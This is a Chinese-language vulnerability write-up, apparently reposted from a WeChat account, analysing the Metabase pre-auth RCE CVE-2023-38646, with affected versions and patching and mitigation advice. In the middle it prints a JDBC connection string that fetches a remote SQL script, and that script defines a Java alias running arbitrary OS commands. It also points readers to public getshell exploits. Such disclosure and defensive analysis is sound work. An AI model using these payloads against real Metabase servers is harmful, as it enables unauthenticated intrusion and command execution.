CVE-2023-38646: Metabase Pre-auth RCE

admin 2024年10月10日22:12:58评论29 views字数 1954阅读6分30秒阅读模式

    Metabase是一个很流行商业化的数据可视化软件包。上周,被报出有漏洞Metabase的0.46.6.1和Metabase Enterprise1.46.6.1间存在一个漏洞,允许攻击者在服务上执行任意命令在服务器的特权级别.攻击不需要身份验证。此漏洞被指定为CVE-2023-38646,范围如下:

  • Metabase Enterprise 1.46 < 1.46.6.1

  • Metabase Enterprise 1.45 < 1.45.4.1

  • Metabase Enterprise 1.44 < 1.44.7.1

  • Metabase Enterprise 1.43 < 1.43.7.2

  • Metabase open source 0.46 < 0.46.6.1

  • Metabase open source 0.45 < v0.45.4.1

  • Metabase open source 0.44 < 0.44.7.1

  • Metabase open source 0.43 < 0.43.7.2

    在本文中,我们分析了该漏洞,并展示了如何复现和安全建议。我们发现该漏洞是由pre-auth API的/api/setup/validate中的JDBC连接问题引起的。通过一个对这个接口的请求,我们成功地复现了远程代码执行漏洞(RCE)。我们建议大家尽快将Metabase升级到最新版本。如果不能立即升级,我们建议阻止对/API/setup接口的请求。

漏洞复现

    我们分析了Metabase版本0.46.6。由于该漏洞允许Pre-auth RCE,因此我们将重点放在Metabase中未经身份验证的接口上。

    在查看Metabase的Clojure源代码时,我们发现主应用程序路由定义在src/metabase/server/routes. clj中。

CVE-2023-38646: Metabase Pre-auth RCE

主应用程序路由在src/metabase/server/routes.cl中定义

    在为数不多的未经身份验证的流程中,我们的注意力集中在/API/setup接口上。此接口负责在初始化应用程序设置期间创建新用户并设置数据库。值得注意的是,POST请求只能向该接口发一次,因为会进行检查以防止后续调用。

    但是,存在另一个接口/API/setup/validate,用于在应用程序设置过程中检查数据库连接。此需要调用有效的设置令牌,此设置令牌是在Metabase启动时生成的,可以通过调用pre-auth API /api/session/properties来获取。

CVE-2023-38646: Metabase Pre-auth RCE

/API/session/properties的响应包括调用/api/setup/validate所需的设置令牌

    在到达/API/setup/validate时,攻击者可以使用JDBC强制Metabase连接到任意数据库服务器,这暴露了相当大的攻击面。

CVE-2023-38646: Metabase Pre-auth RCE/API/setup/validate允许攻击者触发各种JDBC攻击

    遵循(su18.org/post/jdbc-connection-url-attack/#h2-rce)中讨论的技术,我们发现可以通过提供一个指向H2数据库的JDBC连接字符串来实现远程代码执行:
mem;test;INIT=RUNSCRIPT FROM 'http://127.0.0.1:12345/poc.sql'

    其中poc.sql如下所示:

CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);}';CALL EXEC ('open -a Calculator.app')

    但是,我们不能直接使用H2作为引擎运行代码,因为Metabase实际上拉黑了这个攻击向量,并且会从我们的连接字符串中删除INIT部分。

CVE-2023-38646: Metabase Pre-auth RCE

Metabase从H2JDBC连接字符串中删除INIT脚本

    我们找到了一个使用Postgres作为引擎的解决方案,还是利用/api/setup/validate,POC如下:

CVE-2023-38646: Metabase Pre-auth RCE

CVE-2023-38646: Metabase Pre-auth RCE

CVE-2023-38646的PoC

    getshell部分可以找github,有很多各语言的exp。

安全建议

为了保护你的Metabase实例免受CVE-2023-38646的潜在利用,我们建议:

  • 尽早将Metabase升级到最新版本

  • 如果立即升级不可行,考虑:

    • 阻止对/API/setup接口的请求

    • 将元数据库实例与生产网络隔离

    • 监视Metabase实例日志中的任何与/API/setup接口相关的请求

  • 对Metabase实例进行手动取证溯源分析,以检测任何未经授权的访问或入侵迹象

原文始发于微信公众号(军机故阁):CVE-2023-38646: Metabase Pre-auth RCE

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月10日22:12:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2023-38646: Metabase Pre-auth RCEhttps://cn-sec.com/archives/1922632.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息